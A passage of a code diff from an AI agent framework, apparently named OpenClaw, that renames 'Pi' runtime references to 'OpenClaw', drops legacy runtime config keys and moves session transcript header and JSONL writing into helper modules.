such as "codex", or a supported CLI backend alias such as "claude-cli".', + 'Model agent runtime id: "openclaw", "auto", a registered plugin harness id such as "codex", or a supported CLI backend alias such as "claude-cli".', "models.providers.*.models[].mediaInput": "Optional model media capability metadata used by tools to choose conservative image compression defaults.", "models.providers.*.models[].mediaInput.image": @@ -1150,7 +1150,7 @@ export const FIELD_HELP: Record = { "agents.defaults.models.*.agentRuntime": "Optional per-model runtime policy for the default agent. Use this for model-specific runtime exceptions instead of setting a whole-agent runtime.", "agents.defaults.models.*.agentRuntime.id": - 'Default-agent model runtime id: "pi", "auto", a registered plugin harness id such as "codex", or a supported CLI backend alias such as "claude-cli".', + 'Default-agent model runtime id: "openclaw", "auto", a registered plugin harness id such as "codex", or a supported CLI backend alias such as "claude-cli".', "agents.defaults.memorySearch": "Vector search over MEMORY.md and memory/*.md (per-agent overrides supported).", "agents.defaults.memorySearch.enabled": @@ -1357,8 +1357,6 @@ export const FIELD_HELP: Record = { 'Select the active memory plugin by id, or "none" to disable memory plugins.', "plugins.slots.contextEngine": "Selects the active context engine plugin by id so one plugin provides context orchestration behavior.", - "plugins.bundledDiscovery": - 'Controls bundled plugin runtime discovery when plugins.allow is configured. "allowlist" (default) gates bundled provider plugins by plugins.allow like third-party plugins. "compat" preserves legacy behavior where bundled provider plugins can be force-loaded on every chat turn.', "plugins.entries": "Per-plugin settings keyed by plugin ID including enablement and plugin-specific runtime configuration payloads. Use this for scoped plugin tuning without changing global loader policy.", "plugins.entries.*.enabled": @@ -1398,27 +1396,11 @@ export const FIELD_HELP: Record = { "agents.defaults.model.primary": "Primary model (provider/model).", "agents.defaults.model.fallbacks": "Ordered fallback models (provider/model). Used when the primary model fails.", - "agents.defaults.agentRuntime": - "Legacy whole-agent runtime policy. It is ignored by runtime selection; configure runtime policy on a provider or model instead. Run openclaw doctor --fix to remove stale values.", - "agents.defaults.agentRuntime.id": - "Legacy whole-agent runtime id. It is ignored by runtime selection; configure models.providers..agentRuntime.id or a model-specific agentRuntime.id instead.", - "agents.defaults.embeddedHarness": - "Legacy whole-agent embedded harness input. Run openclaw doctor --fix to remove it and use provider/model runtime policy where needed.", - "agents.defaults.embeddedHarness.runtime": - "Legacy whole-agent embedded harness runtime. Runtime selection ignores it; use provider/model runtime policy.", "agents.list.*.models": "Per-agent model catalog overrides keyed by full provider/model IDs.", "agents.list.*.models.*.agentRuntime": "Optional per-model runtime policy for this agent. Use this for agent-specific model exceptions instead of setting a whole-agent runtime.", "agents.list.*.models.*.agentRuntime.id": - 'Per-agent model runtime id: "pi", "auto", a registered plugin harness id such as "codex", or a supported CLI backend alias such as "claude-cli".', - "agents.list.*.agentRuntime": - "Legacy per-agent runtime policy. It is ignored by runtime selection; configure provider/model runtime policy instead. Run openclaw doctor --fix to remove stale values.", - "agents.list.*.agentRuntime.id": - "Legacy per-agent runtime id. It is ignored by runtime selection; configure a provider/model runtime id instead.", - "agents.list.*.embeddedHarness": - "Legacy per-agent embedded harness input. Run openclaw doctor --fix to remove it and use provider/model runtime policy where needed.", - "agents.list.*.embeddedHarness.runtime": - "Legacy per-agent embedded harness runtime. Runtime selection ignores it; use provider/model runtime policy.", + 'Per-agent model runtime id: "openclaw", "auto", a registered plugin harness id such as "codex", or a supported CLI backend alias such as "claude-cli".', "agents.defaults.imageModel.primary": "Optional image model (provider/model) used when the primary model lacks image input.", "agents.defaults.imageModel.fallbacks": "Ordered fallback image models (provider/model).", @@ -1463,7 +1445,7 @@ export const FIELD_HELP: Record = { "agents.defaults.compaction.keepRecentTokens": "Minimum token budget preserved from the most recent conversation window during compaction. Use higher values to protect immediate context continuity and lower values to keep more long-tail history.", "agents.defaults.compaction.reserveTokensFloor": - "Minimum floor enforced for reserveTokens in Pi compaction paths (0 disables the floor guard). Use a non-zero floor to avoid over-aggressive compression under fluctuating token estimates.", + "Minimum floor enforced for reserveTokens in embedded OpenClaw compaction paths (0 disables the floor guard). Use a non-zero floor to avoid over-aggressive compression under fluctuating token estimates.", "agents.defaults.compaction.maxHistoryShare": "Maximum fraction of total context budget allowed for retained history after compaction (range 0.1-0.9). Use lower shares for more generation headroom or higher shares for deeper historical continuity.", "agents.defaults.compaction.identifierPolicy": @@ -1479,9 +1461,9 @@ export const FIELD_HELP: Record = { "agents.defaults.compaction.qualityGuard.maxRetries": "Maximum number of regeneration retries after a failed safeguard summary quality audit. Use small values to bound extra latency and token cost.", "agents.defaults.compaction.midTurnPrecheck": - "Optional Pi tool-loop precheck that detects context pressure after a tool result is appended and before the next model call. When enabled, OpenClaw reuses existing precheck recovery to truncate tool results or compact before retrying.", + "Optional embedded OpenClaw tool-loop precheck that detects context pressure after a tool result is appended and before the next model call. When enabled, OpenClaw reuses existing precheck recovery to truncate tool results or compact before retrying.", "agents.defaults.compaction.midTurnPrecheck.enabled": - "Enable structured mid-turn context pressure checks for Pi tool loops. Default: false. Keep disabled unless long tool-heavy sessions hit context overflow before normal turn-end compaction can run.", + "Enable structured mid-turn context pressure checks for embedded OpenClaw tool loops. Default: false. Keep disabled unless long tool-heavy sessions hit context overflow before normal turn-end compaction can run.", "agents.defaults.compaction.postIndexSync": 'Controls post-compaction session memory reindex mode: "off", "async", or "await" (default: "async"). Use "await" for strongest freshness, "async" for lower compaction latency, and "off" only when session-memory sync is handled elsewhere.', "agents.defaults.compaction.postCompactionSections": @@ -1511,9 +1493,9 @@ export const FIELD_HELP: Record = { "agents.defaults.compaction.memoryFlush.systemPrompt": "System-prompt override for the pre-compaction memory flush turn to control extraction style and safety constraints. Use carefully so custom instructions do not reduce memory quality or leak sensitive context.", "agents.defaults.runRetries": - "Outer run loop retry iteration boundaries for the embedded Pi runner to prevent infinite execution loops during failure recovery.", + "Outer run loop retry iteration boundaries for the embedded OpenClaw runner to prevent infinite execution loops during failure recovery.", "agents.defaults.runRetries.base": - "Base number of run retry iterations for the embedded Pi runner's outer run loop (default: 24).", + "Base number of run retry iterations for the embedded OpenClaw runner's outer run loop (default: 24).", "agents.defaults.runRetries.perProfile": "Additional run retry iterations granted per fallback profile candidate (default: 8).", "agents.defaults.runRetries.min": @@ -1521,22 +1503,22 @@ export const FIELD_HELP: Record = { "agents.defaults.runRetries.max": "Maximum absolute limit for run retry iterations to prevent runaway execution (default: 160).", "agents.list[].runRetries": - "Optional per-agent override for the embedded Pi runner's outer run loop retry iteration boundaries.", + "Optional per-agent override for the embedded OpenClaw runner's outer run loop retry iteration boundaries.", "agents.list[].runRetries.base": "Base number of run retry iterations for this agent.", "agents.list[].runRetries.perProfile": "Additional run retry iterations granted per fallback profile candidate for this agent.", "agents.list[].runRetries.min": "Minimum absolute limit for run retry iterations for this agent.", "agents.list[].runRetries.max": "Maximum absolute limit for run retry iterations for this agent.", - "agents.defaults.embeddedPi": - "Embedded Pi runner hardening controls for how workspace-local Pi settings are trusted and applied in OpenClaw sessions.", - "agents.defaults.embeddedPi.projectSettingsPolicy": - 'How embedded Pi handles workspace-local `.pi/config/settings.json`: "sanitize" (default) strips shellPath/shellCommandPrefix, "ignore" disables project settings entirely, and "trusted" applies project settings as-is.', - "agents.defaults.embeddedPi.executionContract": - 'Embedded Pi execution contract: "default" keeps the standard runner behavior, while "strict-agentic" keeps OpenAI/OpenAI Codex GPT-5-family runs acting until they hit a real blocker instead of stopping at plans or filler.', - "agents.list[].embeddedPi": - "Optional per-agent embedded Pi overrides. Use this to opt specific agents into stricter GPT-5 execution behavior without changing the global default.", - "agents.list[].embeddedPi.executionContract": - 'Optional per-agent embedded Pi execution contract override. Set "strict-agentic" to keep that agent acting through plan-only turns on OpenAI/OpenAI Codex GPT-5-family runs, or "default" to inherit the standard runner behavior.', + "agents.defaults.embeddedAgent": + "Embedded OpenClaw runner hardening controls for how workspace-local agent settings are trusted and applied in OpenClaw sessions.", + "agents.defaults.embeddedAgent.projectSettingsPolicy": + 'How embedded OpenClaw handles workspace-local `.openclaw/settings.json`: "sanitize" (default) strips shellPath/shellCommandPrefix, "ignore" disables project settings entirely, and "trusted" applies project settings as-is.', + "agents.defaults.embeddedAgent.executionContract": + 'Embedded OpenClaw execution contract: "default" keeps the standard runner behavior, while "strict-agentic" keeps OpenAI/OpenAI Codex GPT-5-family runs acting until they hit a real blocker instead of stopping at plans or filler.', + "agents.list[].embeddedAgent": + "Optional per-agent embedded OpenClaw overrides. Use this to opt specific agents into stricter GPT-5 execution behavior without changing the global default.", + "agents.list[].embeddedAgent.executionContract": + 'Optional per-agent embedded OpenClaw execution contract override. Set "strict-agentic" to keep that agent acting through plan-only turns on OpenAI/OpenAI Codex GPT-5-family runs, or "default" to inherit the standard runner behavior.', "agents.defaults.humanDelay.mode": 'Delay style for block replies ("off", "natural", "custom").', "agents.defaults.humanDelay.minMs": "Minimum delay in ms for custom humanDelay (default: 800).", "agents.defaults.humanDelay.maxMs": "Maximum delay in ms for custom humanDelay (default: 2500).", @@ -1568,7 +1550,7 @@ export const FIELD_HELP: Record = { "Optional secret used to HMAC hash owner IDs when ownerDisplay=hash. Prefer env substitution.", "commands.allowFrom": "Defines elevated command allow rules by channel and sender for owner-level command surfaces. Use narrow provider-specific identities so privileged commands are not exposed to broad chat audiences.", - mcp: "Global MCP server definitions managed by OpenClaw. Embedded Pi and other runtime adapters can consume these servers without storing them inside Pi-owned project settings.", + mcp: "Global MCP server definitions managed by OpenClaw. Embedded OpenClaw and other runtime adapters can consume these servers without storing them inside runtime-owned project settings.", "mcp.servers": "Named MCP server definitions. OpenClaw stores them in its own config and runtime adapters decide which transports are supported at execution time.", "mcp.servers.*.codex": diff --git a/src/config/schema.labels.ts b/src/config/schema.labels.ts index 589545f81a6..2ce17af3e68 100644 --- a/src/config/schema.labels.ts +++ b/src/config/schema.labels.ts @@ -93,10 +93,6 @@ export const FIELD_LABELS: Record = { "agents.defaults.contextLimits.memoryGetDefaultLines": "Default memory_get Line Window", "agents.defaults.contextLimits.toolResultMaxChars": "Default Tool Result Max Chars", "agents.defaults.contextLimits.postCompactionMaxChars": "Default Post-compaction Max Chars", - "agents.defaults.agentRuntime": "Legacy Default Agent Runtime", - "agents.defaults.agentRuntime.id": "Legacy Default Agent Runtime ID", - "agents.defaults.embeddedHarness": "Default Legacy Embedded Harness Settings", - "agents.defaults.embeddedHarness.runtime": "Default Legacy Embedded Harness Runtime", "agents.list": "Agent List", "agents.list[].skillsLimits": "Agent Skills Limits", "agents.list[].skillsLimits.maxSkillsPromptChars": "Agent Skills Prompt Max Chars", @@ -110,8 +106,6 @@ export const FIELD_LABELS: Record = { "agents.list.*.models.*.agentRuntime.id": "Agent Model Runtime ID", "agents.list.*.agentRuntime": "Legacy Agent Runtime", "agents.list.*.agentRuntime.id": "Legacy Agent Runtime ID", - "agents.list.*.embeddedHarness": "Agent Legacy Embedded Harness", - "agents.list.*.embeddedHarness.runtime": "Agent Legacy Embedded Harness Runtime", gateway: "Gateway", "gateway.port": "Gateway Port", "gateway.mode": "Gateway Mode", @@ -712,13 +706,14 @@ export const FIELD_LABELS: Record = { "agents.list[].runRetries.perProfile": "Agent Run Retries Per Profile", "agents.list[].runRetries.min": "Agent Run Retries Minimum", "agents.list[].runRetries.max": "Agent Run Retries Maximum", - "agents.defaults.embeddedPi": "Embedded Pi", - "agents.defaults.embeddedPi.projectSettingsPolicy": "Embedded Pi Project Settings Policy", - "agents.defaults.embeddedPi.executionContract": "Embedded Pi Execution Contract", + "agents.defaults.embeddedAgent": "Embedded OpenClaw", + "agents.defaults.embeddedAgent.projectSettingsPolicy": + "Embedded OpenClaw Project Settings Policy", + "agents.defaults.embeddedAgent.executionContract": "Embedded OpenClaw Execution Contract", "agents.defaults.heartbeat.includeSystemPromptSection": "Heartbeat Include System Prompt Section", "agents.list.*.heartbeat.includeSystemPromptSection": "Heartbeat Include System Prompt Section", - "agents.list[].embeddedPi": "Agent Embedded Pi", - "agents.list[].embeddedPi.executionContract": "Agent Embedded Pi Execution Contract", + "agents.list[].embeddedAgent": "Agent Embedded OpenClaw", + "agents.list[].embeddedAgent.executionContract": "Agent Embedded OpenClaw Execution Contract", "agents.defaults.heartbeat.directPolicy": "Heartbeat Direct Policy", "agents.list.*.heartbeat.directPolicy": "Heartbeat Direct Policy", "agents.defaults.heartbeat.suppressToolErrorWarnings": "Heartbeat Suppress Tool Error Warnings", @@ -1022,7 +1017,6 @@ export const FIELD_LABELS: Record = { plugins: "Plugins", "plugins.enabled": "Enable Plugins", "plugins.allow": "Plugin Allowlist", - "plugins.bundledDiscovery": "Bundled Plugin Discovery", "plugins.deny": "Plugin Denylist", "plugins.load": "Plugin Loader", "plugins.load.paths": "Plugin Load Paths", diff --git a/src/config/sessions/store-load.ts b/src/config/sessions/store-load.ts index a8c66c22759..ddb497d00aa 100644 --- a/src/config/sessions/store-load.ts +++ b/src/config/sessions/store-load.ts @@ -309,7 +309,7 @@ function normalizeSessionEntryDelivery(entry: SessionEntry): SessionEntry { // resolvedSkills carries the full parsed Skill[] (including each SKILL.md body) // and is only used as an in-turn cache by the runtime — see -// src/agents/pi-embedded-runner/skills-runtime.ts. Persisting it bloats +// src/agents/embedded-agent-runner/skills-runtime.ts. Persisting it bloats // sessions.json by orders of magnitude when many sessions are active. Strip // it from every entry that flows through normalize, so neither the in-memory // store reloaded from disk nor the JSON serialized back to disk carries it. diff --git a/src/config/sessions/store.skills-stripping.test.ts b/src/config/sessions/store.skills-stripping.test.ts index bb31e858929..e98eef0f3e4 100644 --- a/src/config/sessions/store.skills-stripping.test.ts +++ b/src/config/sessions/store.skills-stripping.test.ts @@ -1,7 +1,7 @@ import fs from "node:fs/promises"; import path from "node:path"; import { afterAll, afterEach, beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; -import { resolveEmbeddedRunSkillEntries } from "../../agents/pi-embedded-runner/skills-runtime.js"; +import { resolveEmbeddedRunSkillEntries } from "../../agents/embedded-agent-runner/skills-runtime.js"; import { createCanonicalFixtureSkill } from "../../agents/skills.test-helpers.js"; import type { Skill } from "../../agents/skills/skill-contract.js"; import { diff --git a/src/config/sessions/transcript-append.ts b/src/config/sessions/transcript-append.ts index 7751e4822d0..fe29aa2193c 100644 --- a/src/config/sessions/transcript-append.ts +++ b/src/config/sessions/transcript-append.ts @@ -2,7 +2,7 @@ import { randomUUID } from "node:crypto"; import fs from "node:fs/promises"; import path from "node:path"; import { StringDecoder } from "node:string_decoder"; -import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import type { AgentMessage } from "../../agents/runtime/index.js"; import { acquireSessionWriteLock, resolveSessionWriteLockOptions, @@ -10,21 +10,22 @@ import { import { redactTranscriptMessage } from "../../agents/transcript-redact.js"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; import { redactSecrets } from "../../logging/redact.js"; +import { createSessionTranscriptHeader } from "./transcript-header.js"; +import { + appendJsonlEntry, + serializeJsonlLine, + writeJsonlEntry, + writeJsonlLines, +} from "./transcript-jsonl.js"; import { streamSessionTranscriptLinesReverse } from "./transcript-stream.js"; import { resolveOwnedSessionTranscriptWriteLockRunner } from "./transcript-write-context.js"; +import { CURRENT_SESSION_VERSION } from "./version.js"; const TRANSCRIPT_APPEND_SCAN_CHUNK_BYTES = 64 * 1024; const SESSION_MANAGER_APPEND_MAX_BYTES = 8 * 1024 * 1024; -let piCodingAgentModulePromise: Promise | null = - null; const transcriptAppendQueues = new Map>(); -async function loadCurrentSessionVersion(): Promise { - piCodingAgentModulePromise ??= import("@earendil-works/pi-coding-agent"); - return (await piCodingAgentModulePromise).CURRENT_SESSION_VERSION; -} - type TranscriptLeafInfo = { leafId?: string; hasParentLinkedEntries: boolean; @@ -130,7 +131,6 @@ async function migrateLinearTranscriptToParentLinked(transcriptPath: string): Pr leafId?: string; }> { const raw = await fs.readFile(transcriptPath, "utf-8"); - const currentSessionVersion = await loadCurrentSessionVersion(); const existingIds = new Set(); const output: string[] = []; let previousId: string | null = null; @@ -152,7 +152,7 @@ async function migrateLinearTranscriptToParentLinked(transcriptPath: string): Pr } const record = parsed as Record; if (record.type === "session") { - output.push(JSON.stringify({ ...record, version: currentSessionVersion })); + output.push(serializeJsonlLine({ ...record, version: CURRENT_SESSION_VERSION })); continue; } const id = normalizeEntryId(record.id) ?? generateEntryId(existingIds); @@ -163,12 +163,9 @@ async function migrateLinearTranscriptToParentLinked(transcriptPath: string): Pr } previousId = id; leafId = id; - output.push(JSON.stringify(record)); + output.push(serializeJsonlLine(record)); } - await fs.writeFile(transcriptPath, `${output.join("\n")}\n`, { - encoding: "utf-8", - mode: 0o600, - }); + await writeJsonlLines(transcriptPath, output, { mode: 0o600 }); const result: { leafId?: string } = {}; if (leafId) { result.leafId = leafId; @@ -184,17 +181,9 @@ async function ensureTranscriptHeader( if (stat?.isFile() && stat.size > 0) { return; } - const currentSessionVersion = await loadCurrentSessionVersion(); await fs.mkdir(path.dirname(transcriptPath), { recursive: true }); - const header = { - type: "session", - version: currentSessionVersion, - id: params.sessionId ?? randomUUID(), - timestamp: new Date().toISOString(), - cwd: params.cwd ?? process.cwd(), - }; - await fs.writeFile(transcriptPath, `${JSON.stringify(header)}\n`, { - encoding: "utf-8", + const header = createSessionTranscriptHeader(params); + await writeJsonlEntry(transcriptPath, header, { mode: 0o600, flag: stat?.isFile() ? "w" : "wx", }); @@ -364,7 +353,7 @@ async function appendSessionTranscriptMessageLocked( timestamp: new Date(now).toISOString(), message: finalMessage, }; - await fs.appendFile(params.transcriptPath, `${JSON.stringify(entry)}\n`, "utf-8"); + await appendJsonlEntry(params.transcriptPath, entry); return { messageId, message: finalMessage, appended: true }; } diff --git a/src/config/sessions/transcript-header.ts b/src/config/sessions/transcript-header.ts new file mode 100644 index 00000000000..ad47ce57ec4 --- /dev/null +++ b/src/config/sessions/transcript-header.ts @@ -0,0 +1,17 @@ +import { randomUUID } from "node:crypto"; +import { CURRENT_SESSION_VERSION } from "./version.js"; + +export type SessionTranscriptHeaderParams = { + sessionId?: string; + cwd?: string; +}; + +export function createSessionTranscriptHeader(params: SessionTranscriptHeaderParams = {}) { + return { + type: "session", + version: CURRENT_SESSION_VERSION, + id: params.sessionId ?? randomUUID(), + timestamp: new Date().toISOString(), + cwd: params.cwd ?? process.cwd(), + }; +} diff --git a/src/config/sessions/transcript-jsonl.ts b/src/config/sessions/transcript-jsonl.ts new file mode 100644 index 00000000000..4d01590e79d --- /dev/null +++ b/src/config/sessions/transcript-jsonl.ts @@ -0,0 +1,67 @@ +import { appendFileSync, writeFileSync } from "node:fs"; +import fs from "node:fs/promises"; + +type WriteJsonlFileOptions = { + encoding?: BufferEncoding; + flag?: string; + mode?: number; +}; + +export function serializeJsonlEntry(entry: unknown): string { + return `${serializeJsonlLine(entry)}\n`; +} + +export function serializeJsonlLine(entry: unknown): string { + return JSON.stringify(entry); +} + +export function serializeJsonlEntries(entries: readonly unknown[]): string { + return serializeJsonlLines(entries.map(serializeJsonlLine)); +} + +export function serializeJsonlLines(lines: readonly string[]): string { + return lines.length > 0 ? `${lines.join("\n")}\n` : ""; +} + +export function writeJsonlEntriesSync(filePath: string, entries: readonly unknown[]): void { + writeFileSync(filePath, serializeJsonlEntries(entries), "utf-8"); +} + +export function appendJsonlEntrySync(filePath: string, entry: unknown): void { + appendFileSync(filePath, serializeJsonlEntry(entry), "utf-8"); +} + +export function appendJsonlEntriesSync(filePath: string, entries: readonly unknown[]): void { + if (entries.length === 0) { + return; + } + appendFileSync(filePath, serializeJsonlEntries(entries), "utf-8"); +} + +export async function writeJsonlEntry( + filePath: string, + entry: unknown, + options?: WriteJsonlFileOptions, +): Promise { + await fs.writeFile(filePath, serializeJsonlEntry(entry), { + encoding: options?.encoding ?? "utf-8", + ...(options?.flag ? { flag: options.flag } : {}), + ...(options?.mode !== undefined ? { mode: options.mode } : {}), + }); +} + +export async function writeJsonlLines( + filePath: string, + lines: readonly string[], + options?: WriteJsonlFileOptions, +): Promise { + await fs.writeFile(filePath, serializeJsonlLines(lines), { + encoding: options?.encoding ?? "utf-8", + ...(options?.flag ? { flag: options.flag } : {}), + ...(options?.mode !== undefined ? { mode: options.mode } : {}), + }); +} + +export async function appendJsonlEntry(filePath: string, entry: unknown): Promise { + await fs.appendFile(filePath, serializeJsonlEntry(entry), "utf-8"); +} diff --git a/src/config/sessions/transcript.ts b/src/config/sessions/transcript.ts index 7e60e481391..c9e5ffac2c9 100644 --- a/src/config/sessions/transcript.ts +++ b/src/config/sessions/transcript.ts @@ -1,7 +1,7 @@ import fs from "node:fs"; import path from "node:path"; -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import type { SessionManager } from "@earendil-works/pi-coding-agent"; +import type { AgentMessage } from "../../agents/runtime/index.js"; +import type { SessionManager } from "../../agents/sessions/session-manager.js"; import { redactTranscriptMessage } from "../../agents/transcript-redact.js"; import { formatErrorMessage } from "../../infra/errors.js"; import { emitSessionTranscriptUpdate } from "../../sessions/transcript-events.js"; @@ -17,6 +17,8 @@ import { resolveAndPersistSessionFile } from "./session-file.js"; import { loadSessionStore, resolveSessionStoreEntry } from "./store.js"; import { parseSessionThreadInfo } from "./thread-info.js"; import { appendSessionTranscriptMessage } from "./transcript-append.js"; +import { createSessionTranscriptHeader } from "./transcript-header.js"; +import { writeJsonlEntry } from "./transcript-jsonl.js"; import { resolveMirroredTranscriptText } from "./transcript-mirror.js"; import { streamSessionTranscriptLinesReverse } from "./transcript-stream.js"; import { @@ -25,16 +27,6 @@ import { } from "./transcript-write-context.js"; import type { SessionEntry } from "./types.js"; -let piCodingAgentModulePromise: Promise | null = - null; - -async function loadPiCodingAgentModule(): Promise< - typeof import("@earendil-works/pi-coding-agent") -> { - piCodingAgentModulePromise ??= import("@earendil-works/pi-coding-agent"); - return await piCodingAgentModulePromise; -} - async function ensureSessionHeader(params: { sessionFile: string; sessionId: string; @@ -42,19 +34,9 @@ async function ensureSessionHeader(params: { if (fs.existsSync(params.sessionFile)) { return; } - const { CURRENT_SESSION_VERSION } = await loadPiCodingAgentModule(); await fs.promises.mkdir(path.dirname(params.sessionFile), { recursive: true }); - const header = { - type: "session", - version: CURRENT_SESSION_VERSION, - id: params.sessionId, - timestamp: new Date().toISOString(), - cwd: process.cwd(), - }; - await fs.promises.writeFile(params.sessionFile, `${JSON.stringify(header)}\n`, { - encoding: "utf-8", - mode: 0o600, - }); + const header = createSessionTranscriptHeader({ sessionId: params.sessionId }); + await writeJsonlEntry(params.sessionFile, header, { mode: 0o600 }); } export type SessionTranscriptAppendResult = diff --git a/src/config/sessions/types.ts b/src/config/sessions/types.ts index 53b93121f90..9f5fc647270 100644 --- a/src/config/sessions/types.ts +++ b/src/config/sessions/types.ts @@ -1,5 +1,5 @@ import crypto from "node:crypto"; -import type { Skill } from "@earendil-works/pi-coding-agent"; +import type { Skill } from "../../agents/skills/skill-contract.js"; import type { ChatType } from "../../channels/chat-type.js"; import type { ChannelId } from "../../channels/plugins/channel-id.types.js"; import type { ChannelRouteRef } from "../../plugin-sdk/channel-route.js"; @@ -610,7 +610,7 @@ export type SessionSkillSnapshot = { * each SKILL.md body) so the embedded runner can skip a workspace skill * scan within a turn. Stripped from sessions.json on every read and write * via normalizeSessionStore — see store-load.ts. On a cold session resume - * this is undefined and src/agents/pi-embedded-runner/skills-runtime.ts + * this is undefined and src/agents/embedded-agent-runner/skills-runtime.ts * rebuilds it by reloading skill entries from disk. */ resolvedSkills?: Skill[]; diff --git a/src/config/sessions/version.ts b/src/config/sessions/version.ts new file mode 100644 index 00000000000..eac35113697 --- /dev/null +++ b/src/config/sessions/version.ts @@ -0,0 +1 @@ +export const CURRENT_SESSION_VERSION = 3; diff --git a/src/config/types.agent-defaults.ts b/src/config/types.agent-defaults.ts index f30d32371b2..d00688a594a 100644 --- a/src/config/types.agent-defaults.ts +++ b/src/config/types.agent-defaults.ts @@ -1,6 +1,5 @@ import type { SilentReplyPolicyShape } from "../shared/silent-reply-policy.js"; import type { - AgentEmbeddedHarnessConfig, AgentModelConfig, AgentToolModelConfig, AgentRuntimePolicyConfig, @@ -16,7 +15,7 @@ import type { MemorySearchConfig } from "./types.tools.js"; export type AgentContextInjection = "always" | "continuation-skip" | "never"; export type OptionalBootstrapFileName = "SOUL.md" | "USER.md" | "HEARTBEAT.md" | "IDENTITY.md"; -export type EmbeddedPiExecutionContract = "default" | "strict-agentic"; +export type EmbeddedAgentExecutionContract = "default" | "strict-agentic"; export type SubagentDelegationMode = "suggest" | "prefer"; export type AgentImageQualityPreference = "auto" | "efficient" | "balanced" | "high"; @@ -202,12 +201,13 @@ export type CliBackendConfig = { export type AgentDefaultsConfig = { /** Global default provider params applied to all models before per-model and per-agent overrides. */ params?: Record; - /** Default agent runtime policy. */ - agentRuntime?: AgentRuntimePolicyConfig; - /** @deprecated Use agentRuntime. */ - embeddedHarness?: AgentEmbeddedHarnessConfig; /** Primary model and fallbacks (provider/model). Accepts string or {primary,fallbacks}. */ model?: AgentModelConfig; + /** + * @deprecated Legacy raw config accepted only by doctor/migration repair. + * Normal schema parsing rejects this key; use per-model agentRuntime instead. + */ + agentRuntime?: AgentRuntimePolicyConfig; /** Optional image-capable model and fallbacks (provider/model). Accepts string or {primary,fallbacks}. */ imageModel?: AgentToolModelConfig; /** Optional image-generation model and fallbacks (provider/model). Accepts string or {primary,fallbacks}. */ @@ -309,21 +309,21 @@ export type AgentDefaultsConfig = { compaction?: AgentCompactionConfig; /** Outer run loop retry iteration boundaries. */ runRetries?: AgentRunRetriesConfig; - /** Embedded Pi runner hardening and compatibility controls. */ - embeddedPi?: { + /** Embedded OpenClaw runner hardening and compatibility controls. */ + embeddedAgent?: { /** - * How embedded Pi should trust workspace-local `.pi/config/settings.json`. + * How embedded OpenClaw should trust workspace-local `.openclaw/settings.json`. * - sanitize (default): apply project settings except shellPath/shellCommandPrefix * - ignore: ignore project settings entirely * - trusted: trust project settings as-is */ projectSettingsPolicy?: "trusted" | "sanitize" | "ignore"; /** - * Embedded Pi execution contract: + * Embedded OpenClaw execution contract: * - default: keep the standard runner behavior * - strict-agentic: on OpenAI/OpenAI Codex GPT-5-family runs, keep acting until hitting a real blocker */ - executionContract?: EmbeddedPiExecutionContract; + executionContract?: EmbeddedAgentExecutionContract; }; /** Vector memory search configuration (per-agent overrides supported). */ memorySearch?: MemorySearchConfig; @@ -478,7 +478,7 @@ export type AgentCompactionQualityGuardConfig = { export type AgentCompactionMidTurnPrecheckConfig = { /** * Enable structured context pressure checks after tool results are appended - * and before the next Pi model call. Default: false. + * and before the next agent model call. Default: false. */ enabled?: boolean; }; @@ -486,11 +486,11 @@ export type AgentCompactionMidTurnPrecheckConfig = { export type AgentCompactionConfig = { /** Compaction summarization mode. */ mode?: AgentCompactionMode; - /** Pi reserve tokens target before floor enforcement. */ + /** Embedded OpenClaw reserve tokens target before floor enforcement. */ reserveTokens?: number; - /** Pi keepRecentTokens budget used for cut-point selection. */ + /** Embedded OpenClaw keepRecentTokens budget used for cut-point selection. */ keepRecentTokens?: number; - /** Minimum reserve tokens enforced for Pi compaction (0 disables the floor). */ + /** Minimum reserve tokens enforced for embedded OpenClaw compaction (0 disables the floor). */ reserveTokensFloor?: number; /** Max share of context window for history during safeguard pruning (0.1–0.9, default 0.5). */ maxHistoryShare?: number; diff --git a/src/config/types.agents-shared.ts b/src/config/types.agents-shared.ts index 1cab5c81153..b9cee3d6ea0 100644 --- a/src/config/types.agents-shared.ts +++ b/src/config/types.agents-shared.ts @@ -26,12 +26,12 @@ export type AgentToolModelConfig = }; export type AgentEmbeddedHarnessConfig = { - /** Agent runtime id. Omitted uses "pi"; "auto" opts into plugin harness auto-selection. */ + /** Agent runtime id. Omitted uses "openclaw"; "auto" opts into plugin harness auto-selection. */ runtime?: string; }; export type AgentRuntimePolicyConfig = { - /** Agent runtime id. Omitted uses "pi"; "auto" opts into plugin harness auto-selection. */ + /** Agent runtime id. Omitted uses "openclaw"; "auto" opts into plugin harness auto-selection. */ id?: string; }; diff --git a/src/config/types.agents.ts b/src/config/types.agents.ts index b3d6dedacc8..abca95fd23c 100644 --- a/src/config/types.agents.ts +++ b/src/config/types.agents.ts @@ -3,15 +3,10 @@ import type { AgentContextLimitsConfig, AgentDefaultsConfig, AgentModelEntryConfig, - EmbeddedPiExecutionContract, + EmbeddedAgentExecutionContract, SubagentDelegationMode, } from "./types.agent-defaults.js"; -import type { - AgentEmbeddedHarnessConfig, - AgentModelConfig, - AgentRuntimePolicyConfig, - AgentSandboxConfig, -} from "./types.agents-shared.js"; +import type { AgentModelConfig, AgentSandboxConfig } from "./types.agents-shared.js"; import type { DmScope, HumanDelayConfig, IdentityConfig } from "./types.base.js"; import type { GroupChatConfig } from "./types.messages.js"; import type { SkillsLimitsConfig } from "./types.skills.js"; @@ -91,11 +86,12 @@ export type AgentConfig = { agentDir?: string; /** Optional per-agent full system prompt replacement. */ systemPromptOverride?: AgentDefaultsConfig["systemPromptOverride"]; - /** Optional per-agent agent runtime policy override. */ - agentRuntime?: AgentRuntimePolicyConfig; - /** @deprecated Use agentRuntime. */ - embeddedHarness?: AgentEmbeddedHarnessConfig; model?: AgentModelConfig; + /** + * @deprecated Legacy raw config accepted only by doctor/migration repair. + * Normal schema parsing rejects this key; use per-model agentRuntime instead. + */ + agentRuntime?: AgentModelEntryConfig["agentRuntime"]; /** Per-model metadata overrides for this agent. */ models?: Record; /** @deprecated Legacy per-agent compaction config is kept for raw doctor migration/repair. */ @@ -146,10 +142,10 @@ export type AgentConfig = { }; /** Optional outer run loop retry boundaries. */ runRetries?: AgentDefaultsConfig["runRetries"]; - /** Optional per-agent embedded Pi overrides. */ - embeddedPi?: { + /** Optional per-agent embedded OpenClaw overrides. */ + embeddedAgent?: { /** Optional per-agent execution contract override. */ - executionContract?: EmbeddedPiExecutionContract; + executionContract?: 